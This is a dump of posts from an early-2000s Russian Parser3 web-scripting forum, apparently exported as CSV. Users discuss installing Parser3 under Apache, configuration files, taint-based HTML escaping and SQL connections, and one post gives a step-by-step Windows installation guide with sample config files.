то у нас будет ДВА СИМВОЛА, каждый на своем языке, но при выдаче пользователю символ на языке html преобразуется к &lt;\
\
Далее, матч и т.д. когда делают замену встявляют символы в clean виде - девственно чистые - т.е. грубо говоря на языке as-is.\
\
Едем дальше: все, что пришло у нас от пользователя (из базы, из файла, из формы, ури и т.д.) - НЕ ЧИСТОЕ. Оно БУДЕТ ПРЕОБРАЗОВЫВАТЬСЯ автоматически.\
\
То, что мы написали в коде как <p>... - чистое, преобразовываться не будет.\
\
Если мы хотим достигнуть того, о чем ты написал в самом начале нам... не надо писать ^taint[html] - то, что пришло из базы и так будет преобразовано.\
Нужно просто сделать замены \\n на <br /> (причем лучше replac, а не match, он _существенно_ быстрее) и все :)"
"820","Значит, что на разных машинах получаем разный эффект.\
Команды одни и те же.\
===\
Так на Win2000server, на работе.\
Дома на Win2000pro и так работает. Вроде, с версией виндов не д.б. связано?\
 "
"821","При установке флажка \"уведомлять об ответах...\" получаю письма. \
В них есть ссылка на форму. При попытке пройти по ссылке -- всегда сообщение типа \"Такой страницы не существует. Откуда вы пришли?\"\
Видимо, неправильно формируется ссылка на страницу форума."
"822","Как всё таки работают конфигурационные файлы?\
И переменные окружения HTTP_PARSER_ROOT_CONFIG и HTTP_PARSER_SITE_CONFIG это пути к файлам или к каталогам где файлы лежат? Как вообще процесс то происходит? Чё-то меня клинит. И нахрена определять $connect_string в auto.p сайта если это вроде должно делаться в parser3.conf. А если нет, то зачем там тогда $SQL.connect_string? Как-то очень запутанно всё у меня в голове стало :((("
"824","А что будешь делать, если с разных страниц одного и того же сайта будут обращения к разным БД? Для этого и перегружаешь connect_string."
"826","Теперь все в порядке надеюсь.\
\
Кстати, в уже высланных письмах ссылки не поменяются! ;-)"
"827","Но связано может быть с настройками апача.\
Куда пишется эта директива? Что в error.log апача?"
"828","1. в code можно b и i\
2. вроде исправил ссылку в письме\
3. мазохизм был кажется еще позавчера отменен\
4. рерайты на старый форум переделаю тока когда сам на работе буду. Хотя... Может на этом форуме поставить их? или тут сделать /forum/m_234.html ? :)\
5. про ссылку на корень это не совсем ко мне... Не я шаблоны делал. Но я думаю, что Личи (сегодня ему не повезло, и зачем он на работу поперся :) ) подрихтует.\
6. до кучи там с \\n -> <br /> пофиксил. Теперь абзацы видны :)"
"830","Переменные должны указывать на файлы! Написано открытым текстом в http://www.parser.ru/docs/lang/install4apache.htm ;-)))"
"831","Механизм работы кто-бы объяснил. Эти conf'ы... В общем не понятно ничего. Работать оно у меня работает, а теперь я ещё хочу знать [b]как[/b] оно это делает..."
"832","При запуске парсер их читает и запоминает, что там.\
\
Потом это пользует... ;-)"
"833","Вот это - \
[code]\
^if(def $env:HTTP_PARSER_ROOT_CONFIG){\
    $configdir[$env:HTTP_PARSER_ROOT_CONFIG/..]\
	$charsetsdir[$configdir/parser3.charsets]\
	$sqldriversdir[$configdir/lib]\
}{\
	$charsetsdir[/usr/local/etc/parser3.charsets]\
	$sqldriversdir[/usr/local/lib]\
}\
[/code]\
вроде идёт к ним обращение как к папкам? Что это всё вообще значит то?\
"
"835","положить Главный Конфигурационный Файл в каталог с бинарником и в нём всё тупо под себя выставить, задать папку для Конфигурационного Файла Сайта, ну остальное там, что ещё нужно, папку где драйвера лежат и проч. Зачем тогда SetEnv?"
"841","Итак при переводе файла auto.p в кодировку UTF-8 рабочий код перестает работать. Я перепробовал даже простейшие конструкции даже если в коде не использовать иностранных символов все равно после перекодирования сайт неработает. Причем это касается только файла auto.p все остальные файлы работают в UTF-8. В чем проблема?\
И еще если попробовать обойтись без UTF-8 то что мне нужно писать файл перекодировки? Если да то как? А может быть можно просто отключить перекодирование по умолчанию в парсере в UTF-8 и прописывать кодировку в html если это вообще возможно (как было во втором парсере)"
"842","http://www.apache.org/dist/httpd/\
http://www.apache.org/dist/httpd/CHANGES_2.0\
Хочется заметить, что это вторая стабильная версия 2.0 ветки. ;-)\
"
"843","У меня все в UTF-8 - и auto.p и прочее - никаких проблем...\
Приведи хоть кусок того, что не работает (и сообщение об ошибке, естественно) - надо смотреть..."
"844","а именно само описание проблемы, которое не даёт человеку использовать Parser у этого хостера. Он хочет претензию им предъявить. Насколько я помню PAF её формулировал - разные группы пользователей чтоли для парсера и ftp... Напомните плиз."
"845","Что он у меня работает на комбате вообще БЕЗ конфигурационных файлов и БЕЗ charset'ов с одним тока .htaccess -\
[code]\
AddHandler parsed-html .p3\
Action parsed-html /cgi/parser3.cgi\
DirectoryIndex index.p3\
<Files ~ \"\\.(cfg|dat|p)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]\
Это нормально?"
"849","Как придумаю, куда это вытянуть из флейма - удалю почти все."
"852","Ты ведь, наверное, обратил внимание, что в этих конфигах просто определяются голобальные переменные. Просто они называются \"конфигурационными\", следовательно желательно держать их отдельно от \"данных\". Опять же, в главном parser3.conf задаются общие для ВСЕХ сайтов на этом парсере настройки. А специфичные выносятся в локальный parser3.conf.\
Эти настройки \"выполняются\" ДО всего прочего. Пропиши там все глобальные переменные (которые должны быть доступны на всех сайтах)."
"853","[code]\
You know that it would be untrue\
You know that I would be a lamer\
If I was to say to you\
Man, we couldn't set up Parser\
\
Come on baby, set up Parser\
Come on baby, set up Parser\
Try to set the rights on Parser\
[/code]"
"854","А то хождения к сиседмину с просьбой открыть очередной порт каждые три дня - это слишком - он считает, что над ним издеваются :-)"
"855","Версия Apache на локальной машине должна совпадать с версией у провайдера, различаясь не более чем во втором знаке. У меня 1.3.24, у него 1.3.24..."
"856","Разделение parser3.conf на \"рутовый\" и \"простой\" - уступка в сторону варианта установки парсера как модуля apache. Когда parser ставится модулем, для него должны быть заданы некие общие настройки, а отдельные, частные, ты - владелец одного сайта из многих, которыми apache рулит - можешь поправить у себя и они будут касаться только тебя.\
\
Вопрос в том, что как модуль apache ставят очень немногие, зато большинство, наоборот, страдает от некоторой усложнённости схемы.\
\
Надеюсь, понятно объяснил?"
"857","В доке написано что [i]Только в главном конфигурационном файле можно задать максимальный размер post данных...[/i] и [i]Только в главном конфигурационном файле можно задать параметры отправки писем ...[/i]. Как это понимать?"
"859","Для cgi-версии парсера в большинстве случаев ГКФ и КФС совпадают. Посмотри мои инструкции для Вуфера - я все настройка слил в один parser3.conf и всё работает.\
\
В wub-версии два конфига можно и разделить. Например, у нас на хостинге в личной директории (/home/твойлогин/) устроена общая папка cgi-bin и по отдельной на cgi-local на домены третьего уровня. Ты можешь положить один parser3.cgi в /cgi/ и оставить общие настройки в его файле parser3.conf - а остальные донастраивать для каждого отдельного домена 3 уровня.."
"860","[quote]В wub-версии два..[/quote] имелась в виду цги-версия. Проклятый [url=http://www.punto.ru/]Punto Switcher[/url] под руку иногда невовремя лезет.."
"861","Я бы тебе посоветовал взять доку по sql и засесть в mysql.exe (Если у тебя мускуль) т.к. sql - это намно проще, чем кажеться, во-вторых - намного удобней dat-файлов, 3 - я тоже работаю дизайнером ( + кодер + черт еще знает кто - один на все получаеться) и отсутствие возможностей sql меня порой очень сильно удручает. Пожалуй я сейчас скину доку на мыло. "
"862","Из раннего, кто-то мог узреть это на http://example.parser.ru/guests/?start=90\
-----------------------------------------\
all .p2-3\
Туча мглою,\
 небо кроют,\
 хлопья снега и дождя,\
 сыро, мерзостно, убого,\
 милый Парсер без тебя.\
\
--\
про .p2\
Однажды в студеную эимнюю пору,\
 Я Парсер читал,\
 Было холлодно очень,\
 и вдруг мимолетно катется в гору,\
 ЛОшадка везущая макросов воз,\
 Я мигом вскочил и галопом к лошадке:\
 - Эй, парень, с кнутом, тормази на мази !!!\
 А он мне в ответ:\
 - Я кодер с отроду, вон макросы вид'ишь - я в город везу!!\
 - А кто твой папаша?-, спросил для отводу, Он глазки отвел - и я макрос УПЕР !!!\
 Сижу на заборе,\
 уж осень свершилась - про Парсер книжонку давно прочитал,\
 и макрос тягучий,\
 что спер у урода,\
 я как медвежонок - кому-то отдал.... "
"863","зайду с этой стороны..."
"866","Мануал написан классно, вот только читается он с экрана очень плохо, зато в распечатанном виде - 5 баллов.\
\
Вот что хотел сказать про мануалы - я думаю, будет глупо, если человек будет учить мануал наизусть, как стих etc... Самое главное - понять логику, научиться говорить на Парсере. А наши глупые вопросы - это не что иное, как проявление небольших \"клинов\", ведь наша жизнь состоит не только из Парсинга, как нам порой хотелось бы. Вот. Поэтому будьте пожалуйста к нам снизходительны и пишите RTFM хотя бы вот так: rtfm :)"
"869","Я тут наткнулся:\
\
Ежели текст статический из HTML-я берется и содержит, что-то вроде:\
[code]\
Бла-бла-бла&nbsp;- бла бла\
[/code]\
то все очень замечательно!\
\
А вот если текст берем из SQL и запихиваем в HTML&nbsp;- ни хрена не получается и лезет \"тире\", а не \"дифис\"."
"870","т.е. насколько я понял, придется вручную делать замены во входном коде а не пользоваться taint?"
"871","Просто пробую использловать тире - и все!"
"873","[code]\
@translation[buffer]\
$buffer[$buffer]\
$repl[^table::create[nameless]{<	&lt^;\
>	&gt^;\
&	&amp^;\
\"	&quot^;}]\
$buffer[^buffer.replace[$repl]]\
$buffer[^buffer.match[\\n\\n][g]{<p />}]\
$buffer[^buffer.match[\\n][g]{<br />}]\
$buffer[^taint[as-is][$buffer]]\
$buffer\
[/code]\
\
И все заработало :)"
"875","Я так делал и все работает, скажу больше, пробовал с одной страницы запросы к разным СУБД (MySQL и MS SQL 2000), проблем не было, естественно нужно только писать разные строки подключения в ^connect[...]"
"876","А где это писать?"
"877","там где твоя СУБД принимает SQL запросы, для MS SQL это Query Analyzer, для MySQL можно воспользоваться MySQL-Front: http://www.anse.de/mysqlfront/"
"878","А как засунуть create запрос через Парсер?"
"879","Вообще-то это есть в доке:\
[code]\
^connect[строка_подключения]{\
	^void:sql{\
		create table new (\
		...)\
	}\
}\
[/code]\
\
А вообще, это не надо через парсер делать."
"880","простой смертный (читай кодер) в них фиг разберётся"
"882","Такая штука:\
[code]\
^if(def $form:actions){\
   ^adm.$form:actions[]\
}{\
   Нет ничего :-)\
}\
[/code]"
"883","Я постаил apache и больше его трогать не буду.. Если оно на..бнется, мало не покажется. Даже если бы там 1.3.оченьмало стоял - всё равно хрен с ним. \
\
\"- Сынок, и оно так каждый день - всходит и заходит? -Да, папа. -Сын, пожалуйста, [u]ничего не трогай[/u], пусть так и работает!\""
"884","Ты бы предусмотрел в XSL-шаблоне все комбинации вложенных друг в друга тэгов - теперб вот подчёркивание зажрал...\
"
"885","\
table must be defined  type: parser.runtime"
"886","Юзай &mdash; или &#151;.\
\
ЗЫ. Дефис пишется через \"е\" :)"
"887","На каком месте ошибка возникла?"
"889","Ну и каковы перспективы в плане повышения производительности?"
"891","$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	${sqldriversdir}\\parser3mysql.dll	${sqldriversdir}\\libmySQL.dll\
}]\
]\
\
$SQL.connect-string[mysql://root:@localhost/parser]\
\
^connect[${SQL.connect-string}]{\
	$news[^table::sql{select * from news}] \
}\
\
\
При соединении говорит упс\
\
При отладке таблица замечательно существует\
\
$response:body[<table border=1> ^SQL.drivers.menu{\
   <tr>\
      <td>$SQL.drivers.protocol</td>\
      <td>$SQL.drivers.driver</td>\
      <td>$SQL.drivers.client</td>\
   </tr>\
}\
</table>\
]\
\
\
"
"892","упс и правда бинарник\
я под винду собираю парсер\
думал что под юникс на перле\
"
"894","В доступной документации написано:\
\"В состав поставки входят следующие компоненты:\
\
/bin/ - каталог с исполняемым файлом\
   parser3 - CGI и командный интерпретатор Parser3 (.exe)\
\
/etc/ - каталог с дополнительными файлами\
   parser3.conf - главный конфигурационный файл\"\
\
открыв пакет - parser3_1_0_0001_redhat72_cgi.tar.gz\
обнаружил -\
parser3/\
--parser3.cgi\
--parser3.conf\
--README\
\
Как это соотностится с документацией  - и как исходя из этих соображений устанавливать parser3"
"895","Подозреваю, что тут присутствует что-то от естественного отбора\
Установит сильнейший :))\
\
Во всяком случае читая доку именно так мне кажется.\
"
"896","это тоскливо - в документации этот раздел написан плохо\
в свое время со 2 версией таких проблем не было - да и инструкция по установке - 5 строк"
"898","Если позвать метод, название которого пришло в элементе формы, то да, только писАть надо так:\
\
[code]\
^if(def $form:actions){\
   ^adm.[$form:actions][]\
}{\
   Нет ничего :-)\
}\
[/code]\
\
Ну и в довесок подмай, что будет если придет такое значение в элементе формы, метода с таким названием у данного объекта нету..."
"899","И все-же кто поможет?\
Есть выше описанный пакет\
Стоит Apache - под RedHat 7.2\
Что куда класть и где это потом прописывать"
"900","Ты написал вопрос - я написал ответ, объяснив при этом как работает taint.\
\
Второго метода я не увидел в твоем описании проблемы."
"902","не про второй я не говорил, да кстати ты меня и поставил на путь истинный, я сделал это так - http://www.parser.ru/forum/?id=873"
"903","То, что привел в пример ты - показывает, что админ сервера может задать некоторые параметры, которые те, кто потом хостит виртуальные сервера не переопределит - и это правильно.\
\
Так-же в главном файле можно подключить все используемые кодировки и сделать еще много чего,\
чтобы потом с отдельно взятыми виртуальными серверами не париться и держать в их conf-файлах только их специфичные особенности."
"910","Должен работать твой самый первый вариант, из которогонадо просто выкинуть taint и заменить match на replace (чтобы переводы строк менялись на <p> и <br /> не матчем)"
"911","Как раз таки он и не работает :) а работает последний, работает и ладно, не буду делать то что не сломалось :)"
"912","а я не знаю как переводы строк в replace обозначаются пробовал \\n не получалось (хотя я не помню точно), а щас лень пока пробовать."
"913","Господа!\
\
Я хочу узнать Ваши способы улымывания админа на установку Парсера. Во второй версии помощь админа была не нужна. Устанавливаешь сам и администрируешь сам.\
\
А теперь! Скажите, как заставить админа закинуть конфигурационный файл в чёрт знает какую директорию?\
\
Что  это за фигня, по-другому, что, нельзя?"
"914","что-то не получается прикрутить парсер к апачу(2.0.xx), индеец ругается - Cannot load _path_to_file_/mod_apache.so into server: и далее какая то дребедень ...\
\
что делать?\
\
"
"915","cgi версия 3-го парсера требует от тебя тех же возможностей (свой cgi каталог и доступ к .htaccess) что и 2-я."
"916","http://www.parser.ru/forum/?id=691"
"917","а модуль под 2-м apache и не будет работать, у последнего другой API и надо соответственно брать исходники модуля и специально переделывать его по 2-й apache."
"918","это что, теперь отползать на старый апач?"
"919","Там тоже ничего не надо в c:\\windows\\ кидать - меньше верь доке :) Только попросить прикрутить парсер к определённому расширению файлов..."
"920","Да?\
\
А, пардон, почему тогда нужен конфигурационный файл? И зачем его так далеко закидывать?\
\
Парсер, как я мог заметить, не ищет его (parser3.conf) в текущей, то есть в /cgi-bin/ директории..."
"924","По Винду дома, и под FreeBSD 4.1.1 у провайдера.\
\
Дома не сложно кинуться в с:\\windows\\, а  вот у провайдера...\
\
Но спасибо, проверю... Значит Парсер споконо обходится без конфигурационного файла в определённой директории?\
\
Чё-то слишком неправдоподобно классно! "
"925","хорошо, запускаю с cgi-вариантом,\
пишу как написано в доке(урок 1) - и никакой менюшки нету...\
где копать?"
"926","http://www.parser.ru/forum/?id=691\
\
Только подкорректируй пути под себя и бери FreeBSD'шный дистрибутив.."
"928","Как подключаются конфигурационные файлы? \
Для CGI версии, если задана переменная окружения HTTP_PARSER_ROOT_CONFIG, то считывается файл, заданный в ней. \
\
!!! ЭТА ПЕРЕМЕННАЯ НЕ УСТАНАВЛИВАЕТСЯ ИЗ .htaccess  !!!\
\
Директива SetEnv не проходит %)\
\
Иначе системный конфигурационный файл parser3.conf ищется… \
…под Unix: в каталоге, задаваемом при сборке из исходных кодов \
\
И как я скомпелирую Парсер под FreeBSD, если я не программист, а дизайнер?\
\
Ведь Парсер придумали не для программистов... Насколько я помню... Он должен быть как можно проще, и легче и в использовании и в установке.\
\
(см. Сборка Parser из исходных кодов); \
…под Windows: в каталоге windows [c:\\windows или c:\\winnt]. \
\
Конфигурационный файл конкретного сайта считывается из файла, заданного переменной окружания HTTP_PARSER_SITE_CONFIG, \
Если переменная не задана, ищется в том же каталоге, где расположен сам CGI скрипт. \
\
Для модуля к Apache (mod_parser3) пути к конфигурационным файлам \
задаются директивами: \
\
#httpd.conf only \
ParserRootConfig полный_путь \
#can be in .htaccess \
ParserSiteConfig полный_путь \
\
Для ISAPI Extension (parser3isapi) системный конфигурационный файл parser3.conf ищется в каталоге Windows [c:\\windows \
или c:\\winnt], а Конфигурационный файл конкретного сайта в том же каталоге, где расположен сам parser3isapi.dll файл. \
"
"929","Если ЭТА ПЕРЕМЕННАЯ НЕ УСТАНАВЛИВАЕТСЯ ИЗ .htaccess значит у провайдера не включен модуль mod_env. А без него парсер ищет конфиги по тем путям, о которых в доке написано."
"930","http://www.parser.ru/docs/lang/lesson1.htm"
"931","Это я уже читал :) веришь? пиши что [b]ТЫ[/b] делаешь."
"933","вот конфиги:\
\
-------------\
.htaccess:\
-------------\
SetEnv HTTP_PARSER_ROOT_CONFIG c:\\web\\apache\\htdocs\\cgi-bin\\parser3.conf\
AddHandler parsed-html html\
Action parsed-html c:\\web\\apache\\htdocs\\cgi-bin\\parser3.exe\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
CharsetDisable On\
----------------\
\
index.html\
----------------\
^navigation[]\
----------------\
\
sections.cfg \
----------------\
section_id	name		uri  \
1		main		/ \
2		news		/news\
3		contacts	/contacts\
4		prices	/price\
5		guestbook	/gbook\
----------------\
\
auto.p\
----------------\
@navigation[] \
$sections[^table::load[sections.cfg]] \
<table width=\"100%\" border=\"1\"> \
   <tr> \
   ^sections.menu{ \
      <td align=\"middle\"> \
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
      </td> \
   } \
   </tr> \
</table> \
----------------\
\
что еще прислать?"
"934","если у тебя не стоит Русский Apache то вот каким должен быть твой .htaccess:\
[code]\
SetEnv HTTP_PARSER_ROOT_CONFIG c:/web/apache/htdocs/cgi-bin/parser3.conf\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]\
\
Если Русский то последнюю строчку (CharsetDisable On) тоже надо включить."
"935","никакого эффекта\
не пашет парсер..."
"936","какие пишутся ошибки в логах?"
"937","После перекодирования выдает всегда примерно такой результат \
c:/home/elitherm.gr/www/auto.p(28:1): parse error, expecting `$'\
exception.type=parser.compile\
\
похоже ему чем то не угодил символ $ ошибки быть не должно я перепробовал самые простейшие варианты в том числе и из примеров (первый простейший пример создания навигации)\
\
\
если можно пришли мне на мыло revision@revision.gr какой нибудь рабочий index.html и auto.p в UTF-8 я проверю а то я уже замучался все перепробовал. Может быть перекодировать недо не в блокноте а в какой-нибудь другой программе. \
"
"938","а просто http://localhost/cgi-bin/parser3.exe запускается?"
"939","и error.log\
[Wed May 08 17:02:34 2002] [error] (32557)Socket is not connected: setsockopt(SO_UPDATE_ACCEPT_CONTEXT) failed.\
"
"940","\"хотимте ли вы сохранить файл?\""
"941","Попробуй одно из:\
1. Переименовать в parser3.cgi\
2. Добавь AddHandler cgi-script .exe в httpd.conf (это, конечно, \"криминальное\" предложение, но на локальной машине - нормально).\
Думается, дело в Apache2 - под 1.3 все ок"
"943","чевонто не то, об ошибках парсера ни слова, похоже он ваще не стоит. Может тебе нельзя пользоваться .htaccess для override параметров?"
"944","По нормальному,\
С примерчиком,\
По шагам,\
С указанием - кем - куда - откуда - и что с ним делать?"
"945","ни тот ни другой способ не пошел...\
\
абыдна..."
"950","а пёс его знает, Apache 2 вроде без нормально WinSocks не должен работать, но тут то все работает. Да и еще интересно какая у него ОС стоит? Если 98/NT/2000/XP то не в WinSocks дело."
"951","Так этот большой души и огромного опыта человек - прочитав и попробовав сказал -\
\"Знаешь, радной, ты ко мне со своим этим ... не приставай больше...\
Они помойму сами не знают что и куда ставить - как оно буде работать - т тд. и тп.\
Пошли ты им для примера кусок из инструкции по установке и первоначальной конфигурации того-же Apach'а\
Может разберуться - где что и как у них ставиться\"\
---Вот такая жизнь"
"952","... всем, кто преложил руку к созданию такой великолепной программы, как Parser.\
СПАСИБО ВАМ, СПАСИБО!"
"953","То есть ты - носитель сокрального знания\
Помоги тогда пожалуйста?\
\
Что имеется:\
RedHat 7.2  с установленным apache-1.3.20 (из дистрибутива, установки по умолчанию)\
parser3_1_0_0001_redhat72_cgi.tar.gz\
parser3sql_1_0_0001_redhat72_pgsql.tar.gz\
parser3conf_20020424_unix.tar.gz\
\
куда и какие файлы положить\
под каким юзером\
где, кому, какие права давать\
кто владельцем будет\
\
Поможешь?"
"955","Пожалуйста подскажите как?"
"956","так новых идей не видно?"
"957","Поискать в google такую строчку, что у тебя в error.log - думаю, там сказано, что делать..."
"959","каковы особенности установки Парсера на сабже? Так ли это происходит как и на Линуксе?"
"960","в смысле?\
я за машиной один сижу..сам себе админ..\
и что за оверрайд параметры\
"
"963","Parser3 в виде CGI-скрипта с поддержкой XML. Сервер выдает ошибку 500 и сообщение о том, что файл библиотеки libglib-1.3-11.dll не найден. Подскажите что делать? Может быть я что-то не правильно делаю?"
"967","сегодня после 21:00 попробую уже сюда поставить, т.к. с прошлым хостером вопрос можно решать только после праздников... %)"
"969","и там почитать, как я ставил parser2 на сервера Агавы - больше не захочется ;-)))"
"970","Скопировал parser3.exe и parser.conf в его cgi-bin, \
создал index.html с \
$a[1]\
=$a=\
\
Зашел на страничку - работает. Так что дело не в апаче. Но правда у меня 2000prof eng\
\
Хотя согласно тому факту, что у тебя предлагает сохранить файл при обращению к /cgi-bin/parser3.exe очень похоже, что твоя cgi-bin вовсе не cgi...\
\
Расскажи подробнее, куда и что ты положил?\
Где стоит апач2 и т.д..."
"971","Parser -- великая вещь! Что первичнее: версия под *nix или win?"
"972","У меня почти такая же проблема ... у меня Апа4 1.3 ... я поставил все ... сделал первый урок из учебника ... а он нихрена не воспринимает это .... короче может объясните куда сувать все ... parser3.exe и parser3.conf - cgi-bin, а .htaccess - куда ?"
"973","На сервере www.narod.ru нет поддержки cgi, apache, ISAPI. Можно ли как нибуть решить эту проблему? Обойтись без этих штучек..."
"975","А платный хостинг купить не хочется? Четыре-пять баксов в месяц - и парсер у тебя будет, и никаких баннеров.."
"976","у меня Апа4 1.3 ... я поставил все ... сделал первый урок из учебника ... а он нихрена не воспринимает это .... короче может объясните куда сувать все ... parser3.exe и parser3.conf - cgi-bin, а .htaccess - куда ?\
Апа4 стоит под виндами"
"977","[b]Устанавливаем парсер на Apache+WinXP. Quick Guide для чайников и приравненных к ним категорий населения[/b] :)\
\
[i]Далее предполагается, что у вас установлен Apache 1.3.2x и Windows NT/2000/XP, но инструкция должна работать и для других версий винды. Сильно не уверен, что будет работать со второй версией Апача. Предполагается также, что апач установлен в папку \"по умолчанию\" на диске c:\\[/i]\
\
1. Остановите Apache, ежели он запущен. (Кстати, стартовать/запускать Apache с удобством можно с помощью маленькой удобной приблуды под названием [url=http://www.crosswinds.net/nuremberg/~anstein/]Apache Tray[/url] - но это так, отступление..)\
\
2. Создайте на диске файл [b]c:\\create.bat[/b] такого содержания:\
\
[code]@echo off\
rem Создаём все папки, вплоть до cgi-bin/parser3:\
md  c:\\MyWebsites\\www.example.ru\\html\\cgi-bin\\parser3\
rem Делаем папку под пользовательские классы:\
md  c:\\MyWebsites\\www.example.ru\\html\\etc\\classes\
rem Папка под логи апача:\
md  c:\\MyWebsites\\www.example.ru\\logs\\[/code]\
\
и запустите. Или создайте нужные папки вручную, если не влом. Будете менять названия папок - проследите, чтобы вы замените их и в файлах настройки.\
\
3. Скачайте файлы дистрибутива p3 - cgi-версию парсера. У вас должны быть файлы\
\
   [b]parser3_1_0_0001_win32_cgi_xml.zip[/b]  - собственно, парсер\
   [b]parser3conf_20020430_win32.zip[/b]      - файлы описаний кодировок (кои, вин1251..)\
   [b]parser3sql_1_0_0001_win32_mysql.zip[/b] - драйверы MySQL\
   [b]parser3sql_1_0_0001_win32_odbc.zip[/b]  - драйвер ODBC\
   [b]parser3xml_20020424_win32.zip[/b]       - XML-драйверы\
\
4. Вывалите содержимое всех архивов в папку [b]c:\\MyWebsites\\www.example.ru\\html\\cgi-bin\\parser3[/b] в одну кучу. У вас там должно остаться 14 файлов (убейте все лишние):\
\
   [b]parser3.exe[/b]\
   [b]parser3.conf[/b]\
   [b]windows-1251.cfg[/b]\
   [b]koi8-r.cfg[/b]\
   [b]libexslt.dll[/b]\
   [b]libgdome.dll[/b]\
   [b]libglib-1.3-11.dll[/b]\
   [b]libintl-1.dll[/b]\
   [b]libmySQL.dll[/b]\
   [b]libxml2.dll[/b]\
   [b]libxslt.dll[/b]\
   [b]iconv.dll[/b]\
   [b]parser3mysql.dll[/b]\
   [b]parser3odbc.dll[/b]\
 \
Переименуйте parser3.exe в [b]parser3.cgi[/b].\
\
5. Откройте файл [b]c:\\WINDOWS\\system32\\drivers\\etc\\hosts[/b] в Блокноте. Если у вас Windows 95/98/Me, то он называется [b]c:\\windows\\hosts[/b] (если его нет, его надо создать, расширение файлу не требуется). Добавьте в конец строчки\
\
[code]127.0.0.1                  localhost # Эта строчка там уже должна быть, если у вас NT/2K/XP, не копируйте её.\
127.0.0.1             www.example.ru\
127.0.0.1                 example.ru[/code]\
\
6. Откройте в Блокноте файл [b]c:\\Program Files\\Apache Group\\Apache\\conf\\httpd.conf[/b] и добавьте в самый конец такой кусок текста:\
\
[code]<VirtualHost 127.0.0.1>\
 ServerName  example.ru\
 ServerAlias *.example.ru\
 ServerAdmin parser@rules.forever\
 DocumentRoot \"c:/MyWebsites/www.example.ru/HTML/\"\
 <Directory   \"c:/MyWebsites/www.example.ru/HTML/\">\
   Options All\
   AllowOverride All\
   Order allow,deny\
   Allow from all\
 </Directory>\
 ScriptAlias /cgi-bin/ \"c:/MyWebsites/www.example.ru/html/cgi-bin/\"\
 <Directory            \"c:/MyWebsites/www.example.ru/html/cgi-bin/\">\
   Options All\
   AllowOverride All\
   Order allow,deny\
   Allow from all\
 </Directory>\
 SetEnv HTTP_PARSER_ROOT_CONFIG  /MyWebsites/www.example.ru/html/cgi-bin/parser3/parser3.conf\
 AddHandler    parsed-html       html\
 Action parsed-html              /cgi-bin/parser3/parser3.cgi\
 <Files ~ \"\\.(p|cfg)$\">\
  Order allow,deny\
  Deny from all\
 </Files>\
 DirectoryIndex index.html\
 ErrorLog   \"c:/MyWebsites/www.example.ru/logs/error.log\"\
 CustomLog  \"c:/MyWebsites/www.example.ru/logs/custom.log\" combined\
 RewriteLog \"c:/MyWebsites/www.example.ru/logs/rewrite.log\"\
 RewriteLogLevel 3\
</VirtualHost>[/code]\
\
7. Откройте файл [b]c:\\MyWebsites\\www.example.ru\\html\\cgi-bin\\parser3\\parser3.conf[/b]\
Замените его содержимое следующим текстом:\
\
[code]@auto[]\
\
$SQL[\
$.drivers[^table::set{protocol	driver	client\
odbc	c:/MyWebsites/www.example.ru/html/cgi-bin/parser3/parser3odbc.dll\
mysql	c:/MyWebsites/www.example.ru/html/cgi-bin/parser3/parser3mysql.dll	c:/MyWebsites/www.example.ru/html/cgi-bin/parser3/libmySQL.dll}]\
]\
\
$CHARSETS[\
$.windows-1251[c:/MyWebsites/www.example.ru/html/cgi-bin/parser3/windows-1251.cfg]\
      $.koi8-r[c:/MyWebsites/www.example.ru/html/cgi-bin/parser3/koi8-r.cfg]\
]\
\
$CLASS_PATH[^table::create{path\
/etc/classes}]\
\
## Mime-types:\
\
$MIME-TYPES[^table::set{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
## Post-request limit:\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]\
\
## Sendmail and SMTP:\
\
$MAIL[\
   $.SMTP[127.0.0.1]\
]\
\
## Exceptions handler:\
\
@unhandled_exception[exception;stack]\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
<title>Error!</title>\
<body bgcolor=white text=black>\
<h2>Parser3: Error in the code</h2>\
^untaint[html]{<pre><b><font color=orange face=Courier>$exception.comment</font></b></pre>}\
^if(def $exception.source){\
<p><b>Error caused by the operator:</b> $exception.source</p>\
<p><b>Error in file:</b> ^untaint[html]{$exception.file}\
<b>in line:</b>  ^untaint[html]{$exception.lineno}</p>\
}\
^if(def $exception.type){<p><b>Exception Type:</b> $exception.type </p>}\
^if($stack){\
	<hr size=1>\
	<p><b>Backtrace:</b></p>\
	<ul>\
	^stack.menu{\
		<li><b>$stack.name</b> $stack.file^($stack.lineno^)</li>\
	}\
	</ul>\
}[/code]\
\
8. Создайте файл [b]c:\\MyWebsites\\www.example.ru\\html\\auto.p[/b] со следующим текстом:\
\
[code]@auto[]\
\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$response:content-type[\
   $.value[text/html]\
   $.charset[$response:charset]\
]\
\
$SQL.connect-string[mysql://логин:пароль@127.0.0.1/базаданных?charset=cp1251_koi8] [/code]\
\
Замените [i]логин[/i], [i]пароль[/i] и [i]базаданных[/i] своими настройками или же добавьте символ \"#\" в начало этой строчки, если вы не знаете, как настроить доступ к базе данных или у вас её попросту нет.\
\
9. Положите в [b]c:\\MyWebsites\\www.example.ru\\html\\[/b] файл [b]index.html[/b] такого содержания:\
\
[code]<h1> Дважды два = ^eval(2*2) </h1>[/code]\
\
